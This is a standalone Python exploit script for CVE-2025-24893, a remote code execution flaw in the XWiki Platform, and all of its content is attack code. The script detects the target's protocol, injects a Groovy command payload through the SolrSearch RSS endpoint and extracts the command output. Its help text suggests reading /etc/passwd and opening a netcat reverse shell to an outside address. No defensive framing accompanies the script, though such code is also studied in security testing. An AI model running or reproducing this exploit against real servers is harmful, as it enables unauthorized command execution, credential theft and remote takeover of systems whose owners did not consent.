1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177
| import requests import argparse import sys from urllib.parse import urljoin
def display_banner(): print("=" * 80) print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution") print("Exploit Author: Al Baradi Joy") print("GitHub Exploit: https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py") print("=" * 80)
def detect_protocol(domain): https_url = f"https://{domain}" http_url = f"http://{domain}"
detection_headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', }
try: print(f"[+] Trying HTTPS: {https_url}") response = requests.get(https_url, timeout=5, allow_redirects=True, verify=False, headers=detection_headers) if 200 <= response.status_code < 400: print(f"[✔] Target supports HTTPS: {https_url}") return https_url else: print(f"[-] HTTPS available but returned status code {response.status_code}, falling back to HTTP.") except requests.exceptions.RequestException as e: print(f"[-] HTTPS not available or error during check: {e}, falling back to HTTP.")
try: print(f"[+] Trying HTTP: {http_url}") response = requests.get(http_url, timeout=5, allow_redirects=True, headers=detection_headers) if 200 <= response.status_code < 400: print(f"[✔] Target supports HTTP: {http_url}") return http_url else: print(f"[✖] Target explicitly returned status code {response.status_code} on HTTP. Exiting.") sys.exit(1) except requests.exceptions.RequestException as e: print(f"[✖] Target is unreachable on both HTTP and HTTPS: {e}. Exiting.") sys.exit(1)
def exploit(target_raw_url, command): domain_part = target_raw_url.replace("http://", "").replace("https://", "").strip().rstrip('/') target_base_url = detect_protocol(domain_part)
if "/xwiki" not in target_base_url.lower(): print(f"[!] Warning: '/xwiki' missing in base URL. Attempting to add it: {target_base_url}/xwiki") target_base_url = urljoin(target_base_url + "/", "xwiki") print(f" New target base URL: {target_base_url}")
exploit_headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', }
groovy_payload_template = "}}}{{async async=false}}{{groovy}}println(\"%s\".execute().text);println('EXPLOIT_SUCCESS'){{/groovy}}{{/async}}"
escaped_command = command.replace('"', '\\"')
final_groovy_payload = groovy_payload_template % escaped_command
vulnerable_path = "/bin/get/Main/SolrSearch"
full_exploit_endpoint = urljoin(target_base_url + "/", vulnerable_path.lstrip('/'))
params = { 'media': 'rss', 'text': final_groovy_payload }
try: print(f"[+] Sending exploit request to: {full_exploit_endpoint}") print(f"[+] Executing command: {command}") print(f"[+] Groovy Payload (pre-URL-encode): {final_groovy_payload[:100]}...")
response = requests.get( full_exploit_endpoint, params=params, headers=exploit_headers, timeout=10, allow_redirects=True, verify=False )
if response.status_code == 200 and 'EXPLOIT_SUCCESS' in response.text: print("\n" + "="*80) print("[✔] Exploit successful! Groovy command executed.")
output_end_index = response.text.find('EXPLOIT_SUCCESS') if output_end_index != -1:
output_start_probe = response.text.rfind('<description>', 0, output_end_index) if output_start_probe != -1: actual_output = response.text[output_start_probe + len('<description>') : output_end_index].split("</description>")[0].strip() print("[+] Command Output:") print(actual_output) else: print("[-] Could not precisely extract command output. Full exploitable response snippet:") print(response.text[output_end_index-200 : output_end_index]) else: print("[-] 'EXPLOIT_SUCCESS' marker not found even though status 200. Check response.") print(f"[-] Full response snippet:\n{response.text[:500]}")
print("="*80 + "\n") return True else: print(f"[✖] Exploit failed. Status code: {response.status_code}") print(f"[-] Response snippet:\n{response.text[:500]}") return False
except requests.exceptions.ConnectionError: print("[✖] Connection failed. Target may be down or URL is incorrect.") except requests.exceptions.Timeout: print("[✖] Request timed out. Target is slow or unresponsive.") except requests.exceptions.RequestException as e: print(f"[✖] Unexpected error during exploit request: {e}") return False
if __name__ == "__main__": display_banner()
parser = argparse.ArgumentParser( description="XWiki Platform Remote Code Execution Exploit (CVE-2025-24893)" ) parser.add_argument( "URL", help="Target XWiki base URL (e.g., http://wiki.example.com or http://wiki.example.com/xwiki)" ) parser.add_argument( "COMMAND", help="Command to execute on the target (e.g., 'id', 'cat /etc/passwd', 'bash -c \"nc 10.10.14.47 1234 -e /bin/bash\"')" )
args = parser.parse_args()
success = exploit(args.URL, args.COMMAND)
sys.exit(0 if success else 1)
|